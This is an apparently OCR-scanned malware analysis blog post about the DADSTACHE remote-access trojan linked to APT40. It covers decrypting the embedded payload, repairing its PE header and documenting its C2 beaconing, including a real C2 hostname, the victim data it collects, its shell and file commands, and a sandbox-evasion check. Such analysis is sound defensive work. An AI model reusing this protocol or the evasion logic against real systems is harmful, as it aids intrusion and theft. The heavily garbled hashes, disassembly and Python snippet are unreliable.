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As promised in my last post, I'll be doing a walkthrough of the DADSTACHE sample fetched
by the maldoc (MD5: 571efe3a29ed1f6¢1f98576cb57db8a5) found off VirusTotal in late Feb
2020. After completing my analysis, | realized that a thorough “walkthrough” is not necessary
as the beaconing code logic is simple enough. | think the toughest part was to make IDA Pro
take in the final payload encrypted within the sample so that | can do static analysis. Hence, |
decided to dedicate most of this post to my approach to unveiling the final payload ;) The
second half would be a documentation of my findings.

DADSTACHE sample analysed:
009a9f7024c4dd5db8e3d793be3e99c0 dbgeng.dll

Let’s Tuck In!

Mamie Address Ordinal
(¥ ebugConnectiide 1003127 1

[[¥] Debugtreste 10001380 H

44 DEEntryPort 10007 EFE [main erviry]

There are 2 exported functions, we can quickly see that DebugCreate is the interesting one,
with tell-tale API calls.
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text:100812B4
Stext: 19881289
Ltext:180812BA
text: 18881280
Ltext: 10681202
Ctext: 18881205
Ltextleeal12C7
Ltext109a120C
«text: 10081200
Jtext:180812D2
Stext:leeel2Ds

dtext:l1eeel2DB
Ltext:1eeal2DD
Jtext: 1608120F
Jtext:186812E1
Jtext:leee12E3
Ltextleeal2E4
Jtext:108812EA
Jtewtrleeel2EC
Jtext:ledal2F2
LTLext:1eeel2F5
Ltext:1le0812F6
Jtext:180812F8
Ldext:188812FA
Sext:1e@8l2FF
Jtext: 16081362
Jtext: 16081388
Jtext:1eeal3ias
Jtextrleealsle
Jtext:l0e81312
Jtextrleealsla
Jtext:leeel3ls
Ltextrleealsls
Jtext:1e88131E
Jtext:ledeld2l
Jtext:leeel322
Stext:leeal324q
Ltext:le881327
dtext:leeel3iza
dtext:i1eeel3zF
Jtext: 16081332
Jtext: 10661338
Jtext:18ea133A
Jtext:leealsde
Jtext: 10881344
Jtext:leeel347
Jtext:rleealsds
Jtext:lewelido
Jtext:lodel34B
Jtext:leeal34D
Jtext:leBaliqrF
Jtext:leealis2

Looks like an AES encryption, using 0x40 bytes as a
way to arrive at the decrypted content is to run the sample and read the decrypted content

from memory.

[ ity
push
mow
call
push
maoy
push
push
call
add

lea

push
push
push
push
push
call
test
jz
lea
push
push
push
push
push
call
test
jz
push
push
push
push
call
lea
push
push
push
lea
push
push
call
test
jz
sub
lea
push
push
push
push
push
push
call

eax, size 245D8 18812788

eax ;3 size t
[ebp+pdwDatalen], eax
[ebpipdwDatalen] ; size_t

esi, eax

offset encrypted_data_18012784

esi ; vold *

Esp. 18h

eax, [ebp+phProv]

aF eaaaaash ; dwFlags

18h 5 dwProvType
& 3 szProvider
A 3 srzContainer

eax ; phProv
ds:CryptAcquireContexth
eax, eax

loc_100013DA

eax, [ebp+phHash]

eax ; phHash
@ ; dwFlags
8 3 hkey
CALG_SHA1 ; Algid
[ebp+phPrav] ;3 hProv
ds:CryptCreateHash

BAX, BAN

loc_100013CF

a ; dwFlags
48h ; dwDatalen
esi ; pbData
[ebp+phHash] : hHash
ds:CryptHashData

eax, [ebptphKey]

eax : phKey

@ ; dwFlags

[ebp+phHash] ; hBaseData
ebx, [esi+ash]

CALG_AES_256 ; Algid
[ebp+phPraov] ;3 hProv
ds:CryptDerivekey

eax, eax

loc_100013C6
[ebpt+pdwDatalen], 48h

eax, [ebptpdwDatalen]

eax 3 pdwDatalen
ebx ; pbData

a ; dwFlags

1 ; Final

e 1+ hHash
[ebp+phiey] ; heey

ds:CryptDecrypt

The content hardcoded in offset 100127B4 looks like this:

“seed” to derive the key. The easiest
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derive key from
these 0x40 bytes

encrypted content

After decryption, the following content is seen:

KEY

""" C2
................ Config Data
- (size: Ox18C)

Port

Actual DADSTACHE
Payload

Continuing dynamic analysi showed that thcrpted payload is mapped into memory and
then its OEP is called.

Now, | would like to analyze the actual payload with IDA Pro, but the content dumped from
memory doesn’t look like a proper PE file and hence the IAT can’t be recognized (though |
can actually see the import table in there).

Dump & Fix
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Dump the decrypted file after it has been mapped to memory in sub_10001920. A good

place to do this would be after this function ends.

Machine _
NumberOfSections

TimeDateStamp

Magic
AddressOfEntryPoint

Repairing the decrypt file’s PE header i

The first 0x11C bytes of this extracted memory looked “wrong” — | would expect it to be
following the structure of a PE header, but the “DOS Header” and part of the “NT Header”
are missing. | can kind of recognize some of the fields in the “NT Header” from this chunk,
which means that the content before these fields are intentionally “corrupted”.

| confirmed that these 0x11C bytes are not some kind of meaningful shell code:

" pah wbp
[l o al; Tk
L3 114
45 e by
L4 deL L]
A8 vtosd
51 bi mze gen, cds
B 11 0 AR 7D =1 ewx, 7IASHIILE
4 o TE A mar anz[ealssin], bh
I3 N} @ esl, [edu]
db e
(5N -] L= wax, dx
o et 1  Trap o Debegper
BA BE 13 B0 OB e wde, B0 LIEEH
TR — 8l, &
(44 into
a2 B4 20 PR add Byt pir [eemesbp®a],
£F iret
L) db  1¥s
kil db Wi
37 of e 00
EA 50 05 60 S 08 51 91 &C I8 BL AFe o 6
B ET I BC CA o0 AN 79 18 @1 B 29+ dd 1
13 BE KL B8 X TA I1 ¥ B AR 35 e o 5
B M D8PS B I & U AT PR D S0 o W
F1 2% E9 3% &3 T? B4 OF EF &F 00 ¥1s dd %
THOED FE DA XS B GE AL 48 FL DY 4Cs dd 5
M OBE FA B F4 3L 3% 45 32 6B &9 19e dd
CB 34 {F 53 &4F 80 FS 33 {2 C9 20 (D= dd &
S8 38 FL ET 7) DL 9T 07 1A B& D7 SAe od
T4 24 09 FL EE BD AR M 0 IR TR 12 dd o
09 56 &3 B0 FF 83 56 03 {4 7D TE 15e )
W 0SB 7R ODF D7 3T 6D O BT OI X7e dd 1
@5 01 IC FB OAX S0 OO 34 ES 8% AL BCanagiaa eads

E5 [0 57 65 7F FA 85 AR 8O OE 55 80+
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From the dynamic analysis done up to this point, the OEP of the decrypted file in binary is

0x57E4 (called from the function sub_10001FFO0). This helps to confirm that the PE header is

only corrupted up till the “Machine” field in the “NT Header”.

1BBB1F Pl

1BGBIF Pl

1B08IF PR

il iF P CallEP_ 1981 FFd proc ssar
IBREFFd 56 push esk

1BBNIFFL BS O3 test s =]

1BBNIFFY 74 10 iz shart oo 188011

LeMLFFS 28 31 W eid, [ecx]
1BeaiFFT 85 Fé wil, eid
LBMILFFY T4 16 shert loc_toedonil

wRA
]

e =
La1FFE 58 45 M
LGLFFE 50 44 13 T8
IEGZIRE 5 09
LDSGZERE T4 20

ean, [esledon]

aaaaa

wEhd
)

i

Tdddhbed @3 C6
1ddihbaE 75 08

Lo _ 190791 52

push

push odx

puth el

call rax ; OEF = STE&
pog el

FEER
cal LOEF_18081FFd endp

So, let’s fix it! I'm going to copy the PE header of the parent binary, which is only 0x10C in
size before the “Machine” field, to overwrite the corrupted 0x11C of header. Since we don't
care about what is actually in this header, other than the offset e_Ifanew that needs to be
corrected, I'm just going to pad 0x10 worth of values so as not to mess up all the other
offsets (like the import table address) in the file. Of course, you may also wish to just fill up
0x11C bytes of your choice, just need to be sure the “MZ” “PE” and e_Ifanew are correct.
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e_Ifanew must point to
0Ox118 (PE Signature)

duplicated row for
padding 0x10 size. RICH
header is not checked
anyway, so it won't
hinder the execution of
this file.

Now, using a tool like CFF Explorer would help to confirm if the edits have been successful.
The last step is to fix the section raw addresses so that IDA Pro will be able to do its magic
for us. A trick that | usually apply to binaries that | dumped from memory, is to copy the
values from the “Virtual Address” column to the “Raw Address” column.

Fyma sl e Muuuwwi_hwhz _Ih-m-.-u kot hodrese | Unarwembery _m«mn Lirsprasmians ._rhmdmh-u
Bytafdl] Dhwoed [haped Dwezrd hword Davped Drwecrd | e Viped Drwcrd

tot petion jooontene moiase | oocenoe D ows  on it ool
sdata L 000 ot o OGN 0004 A0 [Eerie ] OO 2] () A0

st 10033000 foan 2 300 DOOOOEN] 00013000 0G0 OO0 000 [x O8N

L 10035000 o 5000 D000 0015000 0G0 DO 000 (0 OO0
e 10026000 foon 2000 D015 000 00000 D000 0000 (x00 ATDO0S

With this, the import/export table would be nicely pointed to.

edule Mame Imgearty OFTs | Timeluteftamp .forw:ﬂrrihur .H.rnrh'.ﬁ FTa (BATH
= (nFunctions) | Dword | ovecea | ovecea | ovecea [—
KERREL 1.0l a0 IWEEM Py L] DOOLLTIS0 [er=i FE: )
FSERD AN 2 02 3%E4 D000 D000 DDDLITRA D] ALSD
ADNARRT.A T 233 Lo i il L il Lo PR RN OO A0S
L PAPLDLL i i EArT T Lo i) L] [0 kR FHY 01 A0X
WRHTIF .G 13 (LB ] frere ) frore e PORLLIRE [re= Py
SHLWAPLAE F 2% e ve el 00 f= kR R Y freei Bk

Since the RICH header portion of the PE header is lost, we are not able to perform analysis
on that. Fortunately, there’s still one value that is intact, and that is the compilation date: 23
Dec 2019 17:15:32. This file is compiled about 1 hour before its parent file (which has
compilation timestamp 23 Dec 2019 18:17:44). This might suggest that the file is manually
compiled into the parent file, and not through a generator.

Finally, DADSTACHE
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The first thing that the malware does is to update its configuration placeholder with the actual

configuration (decrypted above).

Then it proceeds to do the beaconing, which comprises of AES-encrypted contents within

HTTP POST requests.

18002AED public GDB_Init
18002AE8 GDB_Init proc near
12802AES

13082AE8 new_config= dword ptr
1888 2AEQ

13@@2AE@ 55 push ebp
180@2AE1 8B EC e ebp, esp
18002AE3 53 push ehx
13802AE4 56 push esi
18802AES 8B 75 @8 mo esi,
18002AEE BO 63 00 00 & may ecx, 63h
18QQ2AED 57 push edi
180@2AEE BF 68 3B 82 18 maow edi,
18Q@2AF3 F3 AS rep movsd

g8

[ebp+new_config)

offset placeholder config ; "Aczxcas32lrgwrcs”

; copy sire 63h™4=1BCh of config

eeepepee 50 4f 53 54 20 2f 78 6Ff 73 74 6c
eoeaee1e 48 54 54 50 2 31 2e 31 od ea 43
ePoee028 74 69 6T 6e 3a 20 4b 65 65 7@ 2d
eoeaae38 od Ba 55 73 65 72 2d 41 67 65 Ge
eReaeR4d 7Ta 69 6c 6c 61 2f 35 2e 38 20 28
eReaeese 77 73 20 4e 54 20 36 2e 33 3b 2@
PP000060 3b 20 78 36 34 29 28 41 7@ 7@ &C
088878 69 74 2f 35 33 37 2e 33 36 20 28
ePea8e8e 2c 20 6c 69 6b 65 28 47 65 63 EBb
ppeeeeoe 72 of 6d 65 2f 37 34 2e 38 2e 33
e00000A8 33 31 20 53 61 66 61 72 69 2f 35
POS000Be ©d Ba 43 6 Ge 74 65 6e 74 2d 4c
eeee8eCe 3a 20 31 31 32 @d ea 48 &f 73 74
goe0eeDe 68 69 73 74 79 6C 65 2¢ V73 79 T4
P00000ER 74 ed 2a ed fa

P00800ES 5f da ac 9a 8a c6 cd 77 93 39 21
PRGAAFS 54 ed4 2f 2f 34 39 12 51 66 d@ Sc
Pe888185 65 87 8c Ba bd 20 de 16 ae 38 1@
22280115 3e Bl 5d 67 ec fb cf 48 15 26 71
20888125 65 87 B¢ Ba bd 20 de 16 ae 88 1@
PP888135 4c B8 ed d5 25 d9 45 52 ab f4 16
p0000145 ba 51 fe bf b6 e3 28 c9 6Ga bS 7b

AES Encrypted Network Communication

One point to note is that the configuration within the malware decides whether the HTTP
requests will be wrapped with SSL or not. It is an additional layer of “security” for the C2

6T
6T
41
74
57
57
[
4b
6T
37
33
(1
3a
65

<5
91
56
dd
56
ad
el

67
be
-1
3a
69
69
57

29
32
37
be
28
73

a7
e@
ac
67
ac

22

69
Ge
69
28
Ge
Ge
65
54
28
39
e
67
73
e

ae
ca
eb
d2
eb
bo

65
76

36
62

43
Ze
33
74
75
be

b7

fe

38
65

28
63
B5
&6f
&6f
34
4b
4c
68
3
36
68
73
65

3
=
b8
b5
b8
14
el

POST /po stlogin
HTTP/1.1 ..Connec
tion: Ke ep-Alive
..User-A gent: Mo
zilla/5. @ (Windo
ws NT 6. 3; Wins4
; x64) A pplekebk
it/537.3 6 (KHTML
, like G ecko) Ch
rome/74. @.3729.1
31 safar i/537.36
..Conten t-Length
: 112..H ost: sus
histyle. sytes.ne
t'l‘rfr

PP T - | B S |
T.//89.Q f.\....]|
Boves e asxa¥a:M,

>.)g. ..l .BQ.8...
e T
L...%X.ER ...... 8.
N + R Jof:"Me.

communications. Regardless, we'll look at what is sent to and expected from the C2.

The following structure is AES-encrypted then sent to the C2. The AES key is found within

the configuration data.

Victim_Info_MAC_addr db 2@ dup(?)
victim_Info_Computer Mase db 32 dup(?)
Victim Info_Usermase db 32 dup(?)
\l’:i.cti._:lnfa_IF_uddr db 28 dup(?)

3 Total_Size_victim Info db 8 dup(?)
oooddaTe encrypted first _beacon ends

A quick python script can help with confirming that the content sent to the C2 is indeed AES-

) encrypted first beacon struc ; izeaf=@xTd, mapped

encrypted with the key from the configuration data.
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Jdaf deccypr netwark(lbey, siphaypsze) :
cipher = MAES.new(key, AES.MODE ECB)
return binascii.hexlify(cipher.deczypt (ciphertext))

key = " 07 2
._J.phe“:ext. m bin EISC'.'I.;.';"HEIJ..‘I.I}I

_ 5
par !E_".".'LS E-.'l.!l'f._lf'..[ O 1decr1_.'p:_:'.e cwork(key, cipharcext))
Once there is a status 200 response from the C2 server for the above beacon, the malware
will then proceed to do further information collection, and await commands from the C2.

The following information are being collected from the victim’s machine and then written into
%temp%\\~liscen3.tmp:

Recent files

Installed programs

Drives

Count of cursor staying in one position

One of the information collected is to count the number of times that the cursor stayed in one
position on screen — | suspect this is for the attacker to know if the binary is being executed
in a sandbox instead of a real victim.

= ﬁ;
- @
I ] = @;
5 = 51;
do
if { GetCursorPos{&Point) 8& (Point.x != last_x s || Peint.y != last ) )
{
++ ;
int.x:
- = int.y;
}
Sleep(@uC8u);
- :j
1
while { v5 );
wsprintfW(&Dst, L"Mouse Cout:X%d (Max : 5@8)\r" -~ st n ! ition);

The content to send to the C2 would be read from %temp%\\~llscen3 tmp into a buffer and
then the file is deleted.
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Before sending the above in another AES-encrypted POST request, an additional 0x208
bytes of data (path of ~liscen3.tmp and “Client\<ip>_<computername>\Disinfo.txt”), followed
by 8 bytes to indicate the start and end offsets of collected data within ~liscen3.tmp, are pre-
pended to the buffer.

0Ox208 bytes consisting of 2 sets
of filepaths

start offset of data in file
end of hile offset in file

D 31 iiiiiiiiiiiiiiii data read from file

The Command ID received from the C2 server is not expected to be encrypted, but the
parameters used within the command are AES-encrypted with the same key as configured
within the malware.

Command ID Description Parameter 1 Parameter 2
(1 byte, (0x10C bytes, (unrestricted size,
plain) encrypted) encrypted)
1 Start shell Command -
2 Write contents to specified file Filename Contents to write
on victim
3 Read contents from specified Filename -
file on victim
5 Exit shell - -
>6 Invalid command = -

If there are no commands received from the C2 server for a period of time (up to 3 seconds),
the malware sends a GET request for /list_direction to the C2, possibly as an attempt to get
a new command.

9/10



TEE

FL
FL 3 o Lo JDsBlasl: i dwttlllvecondy
3 peth ran
SElAAL FFONE OF &8 02 10 Peth hitardle i heundle
SRBOAAL PP OLE B AR BL 10 cxll derusltforflagledbject
LR BF 45 A - [t Tar], dan
SbRdA) D 0T B Lo o, AT TEmdy
AN OF 55 D jaa Tt _ 18001 304
1 1
ol e =
INGEE A1 BB M @ 13 L wax, S5 e et 1SFSIED
Loc_ LEded319a: 1NINSCE FT D8 g L
et flN, PAK 1SR IB OB (1] AN, Bk
jas shars Qo JERRALED | |J0BRCT 3% b oF B o arad wan, Bineinn
EL ) putn wan HE 2 1]
1D G4 B Pt [ ] i PPt 2L et Typat
R LT Pty L] | peripheferser
Db b peih @ | perverslos
e BE MM A LR i offier sLisvdleectien | 1
ISR 6F B 0 02 18 i offiet slet i
1D FF 3% LE &% 8D 18 B ] hiornect L
INRIgEr FF LY B9 AL @1 19 call dizels i tplperfegueit
10p20RES &8 L6 9} B4 P Lkl i mErcelveTleecat
1DDRNREE S8 L0 9} &4 ENL] Lkl i MSendTLewoa®
103200F 3 &8 LB 9) &4 P Lkl i mLonrectTLleeoat
10BGFE &8I0 9) a4 ENL] kil i mErvoleeTlescst
D S Fulh eaw i BIntarnet
T A) M4 4F A2 L8 [ KIntgrest, #8x
IMNLEN PP L% OB A3 B3 18 call  OpTHLAMTOpeETLasutL
TepRNLER B) MO 08 X 0D 18 W o 5L _or_mat LM, @
1PERLIR T 3] i1 ahaet Tod_Le8aniea
| LL
¥ T
R =
-y wen, affeet abruct send_recy dets 188C48AS ; BpSuifer] [BSG31LF B3 &3 PO Les run, [ebpedloAeriength)
call POST_wtuff 10903500 (LEEIILLY W panh oaE 5 lpdlutferiongth
tnt fEE, SAK E'.lil:l-ll.i- [ =K 319 Lea wum, [ebpeluffer]
iz mhars lo JRBNLEC :'.Ii'lll.llﬂ path o i lpBufier
JEmsiI1Le 68 L psah 1Fh 5 dedption

After-analysis thoughts

There we go, a straight-forward and light-weight RAT. The next thing | would like to do is to
compare this latest DADSTACHE sample with the older ones, and other malware families
known to be used by APT40. Who knows what interesting findings await?

Asuna

The latest Tweets from Asuna (@AsunaAmawaka). [Malware Analyst]. Binary
World

twitter.com

Drop me a DM if you would like to share findings or samples ;)
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